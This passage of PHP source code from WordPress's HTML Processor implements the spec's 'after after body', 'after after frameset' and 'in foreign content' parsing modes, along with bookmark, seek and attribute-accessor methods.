	 * @see https://html.spec.whatwg.org/#the-after-after-body-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_body(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				goto after_after_body_anything_else;
				break;
		}

		/*
		 * > Parse error. Switch the insertion mode to "in body" and reprocess the token.
		 */
		after_after_body_anything_else:
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
		return $this->step( self::REPROCESS_CURRENT_NODE );
	}

	/**
	 * Parses next element in the 'after after frameset' insertion mode.
	 *
	 * This internal function performs the 'after after frameset' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#the-after-after-frameset-insertion-mode
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_after_after_frameset(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		switch ( $op ) {
			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->bail( 'Content outside of HTML is unsupported.' );
				break;

			/*
			 * > A DOCTYPE token
			 * > A start tag whose tag name is "html"
			 *
			 * > Process the token using the rules for the "in body" insertion mode.
			 */
			case 'html':
			case '+HTML':
				return $this->step_in_body();

			/*
			 * > A character token that is one of U+0009 CHARACTER TABULATION, U+000A LINE FEED (LF),
			 * >   U+000C FORM FEED (FF), U+000D CARRIAGE RETURN (CR), or U+0020 SPACE
			 * >
			 * > Process the token using the rules for the "in body" insertion mode.
			 *
			 * This algorithm effectively strips non-whitespace characters from text and inserts
			 * them under HTML. This is not supported at this time.
			 */
			case '#text':
				if ( parent::TEXT_IS_WHITESPACE === $this->text_node_classification ) {
					return $this->step_in_body();
				}
				$this->bail( 'Non-whitespace characters cannot be handled in after after frameset.' );
				break;

			/*
			 * > A start tag whose tag name is "noframes"
			 */
			case '+NOFRAMES':
				return $this->step_in_head();
		}

		// Parse error: ignore the token.
		return $this->step();
	}

	/**
	 * Parses next element in the 'in foreign content' insertion mode.
	 *
	 * This internal function performs the 'in foreign content' insertion mode
	 * logic for the generalized WP_HTML_Processor::step() function.
	 *
	 * @since 6.7.0 Stub implementation.
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#parsing-main-inforeign
	 * @see WP_HTML_Processor::step
	 *
	 * @return bool Whether an element was found.
	 */
	private function step_in_foreign_content(): bool {
		$tag_name   = $this->get_token_name();
		$token_type = $this->get_token_type();
		$op_sigil   = '#tag' === $token_type ? ( $this->is_tag_closer() ? '-' : '+' ) : '';
		$op         = "{$op_sigil}{$tag_name}";

		/*
		 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
		 *
		 * This section drawn out above the switch to more easily incorporate
		 * the additional rules based on the presence of the attributes.
		 */
		if (
			'+FONT' === $op &&
			(
				null !== $this->get_attribute( 'color' ) ||
				null !== $this->get_attribute( 'face' ) ||
				null !== $this->get_attribute( 'size' )
			)
		) {
			$op = '+FONT with attributes';
		}

		switch ( $op ) {
			case '#text':
				/*
				 * > A character token that is U+0000 NULL
				 *
				 * This is handled by `get_modifiable_text()`.
				 */

				/*
				 * Whitespace-only text does not affect the frameset-ok flag.
				 * It is probably inter-element whitespace, but it may also
				 * contain character references which decode only to whitespace.
				 */
				if ( parent::TEXT_IS_GENERIC === $this->text_node_classification ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * CDATA sections are alternate wrappers for text content and therefore
			 * ought to follow the same rules as text nodes.
			 */
			case '#cdata-section':
				/*
				 * NULL bytes and whitespace do not change the frameset-ok flag.
				 */
				$current_token        = $this->bookmarks[ $this->state->current_token->bookmark_name ];
				$cdata_content_start  = $current_token->start + 9;
				$cdata_content_length = $current_token->length - 12;
				if ( strspn( $this->html, "\0 \t\n\f\r", $cdata_content_start, $cdata_content_length ) !== $cdata_content_length ) {
					$this->state->frameset_ok = false;
				}

				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A comment token
			 */
			case '#comment':
			case '#funky-comment':
			case '#presumptuous-tag':
				$this->insert_foreign_element( $this->state->current_token, false );
				return true;

			/*
			 * > A DOCTYPE token
			 */
			case 'html':
				// Parse error: ignore the token.
				return $this->step();

			/*
			 * > A start tag whose tag name is "b", "big", "blockquote", "body", "br", "center",
			 * > "code", "dd", "div", "dl", "dt", "em", "embed", "h1", "h2", "h3", "h4", "h5",
			 * > "h6", "head", "hr", "i", "img", "li", "listing", "menu", "meta", "nobr", "ol",
			 * > "p", "pre", "ruby", "s", "small", "span", "strong", "strike", "sub", "sup",
			 * > "table", "tt", "u", "ul", "var"
			 *
			 * > A start tag whose name is "font", if the token has any attributes named "color", "face", or "size"
			 *
			 * > An end tag whose tag name is "br", "p"
			 *
			 * Closing BR tags are always reported by the Tag Processor as opening tags.
			 */
			case '+B':
			case '+BIG':
			case '+BLOCKQUOTE':
			case '+BODY':
			case '+BR':
			case '+CENTER':
			case '+CODE':
			case '+DD':
			case '+DIV':
			case '+DL':
			case '+DT':
			case '+EM':
			case '+EMBED':
			case '+H1':
			case '+H2':
			case '+H3':
			case '+H4':
			case '+H5':
			case '+H6':
			case '+HEAD':
			case '+HR':
			case '+I':
			case '+IMG':
			case '+LI':
			case '+LISTING':
			case '+MENU':
			case '+META':
			case '+NOBR':
			case '+OL':
			case '+P':
			case '+PRE':
			case '+RUBY':
			case '+S':
			case '+SMALL':
			case '+SPAN':
			case '+STRONG':
			case '+STRIKE':
			case '+SUB':
			case '+SUP':
			case '+TABLE':
			case '+TT':
			case '+U':
			case '+UL':
			case '+VAR':
			case '+FONT with attributes':
			case '-BR':
			case '-P':
				// @todo Indicate a parse error once it's possible.
				foreach ( $this->state->stack_of_open_elements->walk_up() as $current_node ) {
					if (
						'math' === $current_node->integration_node_type ||
						'html' === $current_node->integration_node_type ||
						'html' === $current_node->namespace
					) {
						break;
					}

					$this->state->stack_of_open_elements->pop();
				}
				goto in_foreign_content_process_in_current_insertion_mode;
		}

		/*
		 * > Any other start tag
		 */
		if ( ! $this->is_tag_closer() ) {
			$this->insert_foreign_element( $this->state->current_token, false );

			/*
			 * > If the token has its self-closing flag set, then run
			 * > the appropriate steps from the following list:
			 * >
			 * >   ↪ the token's tag name is "script", and the new current node is in the SVG namespace
			 * >         Acknowledge the token's self-closing flag, and then act as
			 * >         described in the steps for a "script" end tag below.
			 * >
			 * >   ↪ Otherwise
			 * >         Pop the current node off the stack of open elements and
			 * >         acknowledge the token's self-closing flag.
			 *
			 * Since the rules for SCRIPT below indicate to pop the element off of the stack of
			 * open elements, which is the same for the Otherwise condition, there's no need to
			 * separate these checks. The difference comes when a parser operates with the scripting
			 * flag enabled, and executes the script, which this parser does not support.
			 */
			if ( $this->state->current_token->has_self_closing_flag ) {
				$this->state->stack_of_open_elements->pop();
			}
			return true;
		}

		/*
		 * > An end tag whose name is "script", if the current node is an SVG script element.
		 */
		if ( $this->is_tag_closer() && 'SCRIPT' === $this->state->current_token->node_name && 'svg' === $this->state->current_token->namespace ) {
			$this->state->stack_of_open_elements->pop();
			return true;
		}

		/*
		 * > Any other end tag
		 */
		if ( $this->is_tag_closer() ) {
			$node = $this->state->stack_of_open_elements->current_node();
			if ( $tag_name !== $node->node_name ) {
				// @todo Indicate a parse error once it's possible.
			}
			in_foreign_content_end_tag_loop:
			if ( $node === $this->state->stack_of_open_elements->at( 1 ) ) {
				return true;
			}

			/*
			 * > If node's tag name, converted to ASCII lowercase, is the same as the tag name
			 * > of the token, pop elements from the stack of open elements until node has
			 * > been popped from the stack, and then return.
			 */
			if ( 0 === strcasecmp( $node->node_name, $tag_name ) ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();
					if ( $node === $item ) {
						return true;
					}
				}
			}

			foreach ( $this->state->stack_of_open_elements->walk_up( $node ) as $item ) {
				$node = $item;
				break;
			}

			if ( 'html' !== $node->namespace ) {
				goto in_foreign_content_end_tag_loop;
			}

			in_foreign_content_process_in_current_insertion_mode:
			switch ( $this->state->insertion_mode ) {
				case WP_HTML_Processor_State::INSERTION_MODE_INITIAL:
					return $this->step_initial();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HTML:
					return $this->step_before_html();

				case WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD:
					return $this->step_before_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD:
					return $this->step_in_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD_NOSCRIPT:
					return $this->step_in_head_noscript();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD:
					return $this->step_after_head();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_BODY:
					return $this->step_in_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE:
					return $this->step_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_TEXT:
					return $this->step_in_table_text();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION:
					return $this->step_in_caption();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP:
					return $this->step_in_column_group();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY:
					return $this->step_in_table_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_ROW:
					return $this->step_in_row();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_CELL:
					return $this->step_in_cell();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT:
					return $this->step_in_select();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_SELECT_IN_TABLE:
					return $this->step_in_select_in_table();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE:
					return $this->step_in_template();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_BODY:
					return $this->step_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET:
					return $this->step_in_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_FRAMESET:
					return $this->step_after_frameset();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_BODY:
					return $this->step_after_after_body();

				case WP_HTML_Processor_State::INSERTION_MODE_AFTER_AFTER_FRAMESET:
					return $this->step_after_after_frameset();

				// This should be unreachable but PHP doesn't have total type checking on switch.
				default:
					$this->bail( "Unaware of the requested parsing mode: '{$this->state->insertion_mode}'." );
			}
		}

		$this->bail( 'Should not have been able to reach end of IN FOREIGN CONTENT processing. Check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/*
	 * Internal helpers
	 */

	/**
	 * Creates a new bookmark for the currently-matched token and returns the generated name.
	 *
	 * @since 6.4.0
	 * @since 6.5.0 Renamed from bookmark_tag() to bookmark_token().
	 *
	 * @throws Exception When unable to allocate requested bookmark.
	 *
	 * @return string|false Name of created bookmark, or false if unable to create.
	 */
	private function bookmark_token() {
		if ( ! parent::set_bookmark( ++$this->bookmark_counter ) ) {
			$this->last_error = self::ERROR_EXCEEDED_MAX_BOOKMARKS;
			throw new Exception( 'could not allocate bookmark' );
		}

		return "{$this->bookmark_counter}";
	}

	/*
	 * HTML semantic overrides for Tag Processor
	 */

	/**
	 * Indicates the namespace of the current token, or "html" if there is none.
	 *
	 * @return string One of "html", "math", or "svg".
	 */
	public function get_namespace(): string {
		if ( ! isset( $this->current_element ) ) {
			return parent::get_namespace();
		}

		return $this->current_element->token->namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * The semantic rules for HTML specify that certain tags be reprocessed
	 * with a different tag name. Because of this, the tag name presented
	 * by the HTML Processor may differ from the one reported by the HTML
	 * Tag Processor, which doesn't apply these semantic rules.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $processor->next_tag() === true;
	 *     $processor->get_tag() === 'DIV';
	 *
	 *     $processor->next_tag() === false;
	 *     $processor->get_tag() === null;
	 *
	 * @since 6.4.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null !== $this->last_error ) {
			return null;
		}

		if ( $this->is_virtual() ) {
			return $this->current_element->token->node_name;
		}

		$tag_name = parent::get_tag();

		/*
		 * > A start tag whose tag name is "image"
		 * > Change the token's tag name to "img" and reprocess it. (Don't ask.)
		 */
		return ( 'IMAGE' === $tag_name && 'html' === $this->get_namespace() )
			? 'IMG'
			: $tag_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		return $this->is_virtual() ? false : parent::has_self_closing_flag();
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		return $this->is_virtual()
			? $this->current_element->token->node_name
			: parent::get_token_name();
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		if ( $this->is_virtual() ) {
			/*
			 * This logic comes from the Tag Processor.
			 *
			 * @todo It would be ideal not to repeat this here, but it's not clearly
			 *       better to allow passing a token name to `get_token_type()`.
			 */
			$node_name     = $this->current_element->token->node_name;
			$starting_char = $node_name[0];
			if ( 'A' <= $starting_char && 'Z' >= $starting_char ) {
				return '#tag';
			}

			if ( 'html' === $node_name ) {
				return '#doctype';
			}

			return $node_name;
		}

		return parent::get_token_type();
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_token() === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		return $this->is_virtual() ? null : parent::get_attribute( $name );
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		return $this->is_virtual() ? false : parent::set_attribute( $name, $value );
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.6.0 Subclassed for HTML Processor.
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		return $this->is_virtual() ? false : parent::remove_attribute( $name );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		return $this->is_virtual() ? null : parent::get_attribute_names_with_prefix( $prefix );
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::add_class( $class_name );
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		return $this->is_virtual() ? false : parent::remove_class( $class_name );
	}

	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @todo When reconstructing active formatting elements with attributes, find a way
	 *       to indicate if the virtually-reconstructed formatting elements contain the
	 *       wanted class name.
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		return $this->is_virtual() ? null : parent::has_class( $wanted_class );
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = WP_HTML_Processor::create_fragment( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 */
	public function class_list() {
		return $this->is_virtual() ? null : parent::class_list();
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		return $this->is_virtual() ? '' : parent::get_modifiable_text();
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.6.0 Subclassed for the HTML Processor.
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		return $this->is_virtual() ? null : parent::get_comment_type();
	}

	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $bookmark_name ): bool {
		return parent::release_bookmark( "_{$bookmark_name}" );
	}

	/**
	 * Moves the internal cursor in the HTML Processor to a given bookmark's location.
	 *
	 * Be careful! Seeking backwards to a previous location resets the parser to the
	 * start of the document and reparses the entire contents up until it finds the
	 * sought-after bookmarked location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @since 6.4.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		// Flush any pending updates to the document before beginning.
		$this->get_updated_html();

		$actual_bookmark_name = "_{$bookmark_name}";
		$processor_started_at = $this->state->current_token
			? $this->bookmarks[ $this->state->current_token->bookmark_name ]->start
			: 0;
		$bookmark_starts_at   = $this->bookmarks[ $actual_bookmark_name ]->start;
		$direction            = $bookmark_starts_at > $processor_started_at ? 'forward' : 'backward';

		/*
		 * If seeking backwards, it's possible that the sought-after bookmark exists within an element
		 * which has been closed before the current cursor; in other words, it has already been removed
		 * from the stack of open elements. This means that it's insufficient to simply pop off elements
		 * from the stack of open elements which appear after the bookmarked location and then jump to
		 * that location, as the elements which were open before won't be re-opened.
		 *
		 * In order to maintain consistency, the HTML Processor rewinds to the start of the document
		 * and reparses everything until it finds the sought-after bookmark.
		 *
		 * There are potentially better ways to do this: cache the parser state for each bookmark and
		 * restore it when seeking; store an immutable and idempotent register of where elements open
		 * and close.
		 *
		 * If caching the parser state it will be essential to properly maintain the cached stack of
		 * open elements and active formatting elements when modifying the document. This could be a
		 * tedious and time-consuming process as well, and so for now will not be performed.
		 *
		 * It may be possible to track bookmarks for where elements open and close, and in doing so
		 * be able to quickly recalculate breadcrumbs for any element in the document. It may even
		 * be possible to remove the stack of open elements and compute it on the fly this way.
		 * If doing this, the parser would need to track the opening and closing locations for all
		 * tokens in the breadcrumb path for any and all bookmarks. By utilizing bookmarks themselves
		 * this list could be automatically maintained while modifying the document. Finding the
		 * breadcrumbs would then amount to traversing that list from the start until the token
		 * being inspected. Once an element closes, if there are no bookmarks pointing to locations
		 * within that element, then all of these locations may be forgotten to save on memory use
		 * and computation time.
		 */
		if ( 'backward' === $direction ) {

			/*
			 * When moving backward, stateful stacks should be cleared.
			 */
			foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
				$this->state->stack_of_open_elements->remove_node( $item );
			}

			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				$this->state->active_formatting_elements->remove_node( $item );
			}

			/*
			 * **After** clearing stacks, more processor state can be reset.
			 * This must be done after clearing the stack because those stacks generate events that
			 * would appear on a subsequent call to `next_token()`.
			 */
			$this->state->frameset_ok                       = true;
			$this->state->stack_of_template_insertion_modes = array();
			$this->state->head_element                      = null;
			$this->state->form_element                      = null;
			$this->state->current_token                     = null;
			$this->current_element                          = null;
			$this->element_queue                            = array();

			/*
			 * The absence of a context node indicates a full parse.
			 * The presence of a context node indicates a fragment parser.
			 */
			if ( null === $this->context_node ) {
				$this->change_parsing_namespace( 'html' );
				$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_INITIAL;
				$this->breadcrumbs           = array();

				$this->bookmarks['initial'] = new WP_HTML_Span( 0, 0 );
				parent::seek( 'initial' );
				unset( $this->bookmarks['initial'] );
			} else {

				/*
				 * Push the root-node (HTML) back onto the stack of open elements.
				 *
				 * Fragment parsers require this extra bit of setup.
				 * It's handled in full parsers by advancing the processor state.
				 */
				$this->state->stack_of_open_elements->push(
					new WP_HTML_Token(
						'root-node',
						'HTML',
						false
					)
				);

				$this->change_parsing_namespace(
					$this->context_node->integration_node_type
						? 'html'
						: $this->context_node->namespace
				);

				if ( 'TEMPLATE' === $this->context_node->node_name ) {
					$this->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
				}

				$this->reset_insertion_mode_appropriately();
				$this->breadcrumbs = array_slice( $this->breadcrumbs, 0, 2 );
				parent::seek( $this->context_node->bookmark_name );
			}
		}

		/*
		 * Here, the processor moves forward through the document until it matches the bookmark.
		 * do-while is used here because the processor is expected to already be stopped on
		 * a token than may match the bookmarked location.
		 */
		do {
			/*
			 * The processor will stop on virtual tokens, but bookmarks may not be set on them.
			 * They should not be matched when seeking a bookmark, skip them.
			 */
			if ( $this->is_virtual() ) {
				continue;
			}
			if ( $bookmark_starts_at === $this->bookmarks[ $this->state->current_token->bookmark_name ]->start ) {
				return true;
			}
		} while ( $this->next_token() );

		return false;
	}

	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
